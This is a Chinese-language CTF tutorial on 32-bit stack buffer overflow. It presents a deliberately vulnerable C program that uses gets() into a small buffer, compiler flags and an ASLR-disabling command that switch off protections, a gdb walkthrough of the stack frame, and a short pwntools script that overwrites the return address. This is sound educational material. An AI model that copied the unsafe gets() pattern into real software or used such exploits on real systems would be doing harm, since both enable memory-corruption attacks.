[TOC]
PWN-栈溢出原理
编写一个无任何保护的ELF文件
程序stack_example.c
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
-m32
指的是生成 32 位程序-fno-stack-protector
指的是不开启堆栈溢出保护,即不生成 canary。-no-pie
关闭 PIE(Position Independent Executable),避免加载基址被打乱。-o
输出
Linux的保护机制和大小端存储
地址随机化保护:
sudo echo 0 > /proc/sys/kernel/randomize_va_space
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
大小端:
https://blog.csdn.net/weixin_44309300/article/details/114962540
栈帧结构
- 调用约定
https://www.cnblogs.com/clover-toeic/p/3756668.html
CALL指令相当于执行一条
PUSH 下一条指令的地址(即之后ret返回的地址)
+一条JMP指令
。//esp-4ret指令 《=》 pop eip //esp+4
leave指令
在32位汇编下相当于: mov esp,ebp; //将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esp pop ebp //esp = esp + 4
gdb分析
1,gdb stack_example运行程序
b main //主函数下断点
r //运行
2,
gdb查看反汇编,带源码查看
disassemble /m
带范围的查看,并显示机器码
disassemble /r 0x08048496,0x0804849e //注意逗号
3,调试跟踪堆栈变化
分析vulnerable函数
3.1步入vulnerable函数
3.2执行完push ebp后结果
3.3执行完mov ebp,esp
3.4执行 sub esp,0x18
3.5执行sub esp,0xc
3.6lea eax,[ebp - 0x14](即eax存放的是s)
3.7push eax | call gets@plt(这里ni步过,不使用si步入)
3.8add esp,0x10
3.9 sub esp, 0xc
3.10 跳过不影响栈帧变化的指令,到push eax
3.11开始恢复栈帧 add esp,0x10
3.12leave
回忆:leave指令
在32位汇编下相当于:
mov esp,ebp; //将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esp
pop ebp //esp = esp + 4
执行前:
执行后:
3.13 ret
回忆:ret指令 《=》 pop eip //esp+4
结论:由于gets()函数是一个危险函数,未对我们的输入进行过滤约束,所以我们可以通过栈的结构,精心构造最后ret返回eip的值,即可达到控制程序流程目的。
数据输入流写想内存方向
精心构造的输入数据构成的栈帧
exp之pwntool使用
https://bbs.pediy.com/thread-247217.htm
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()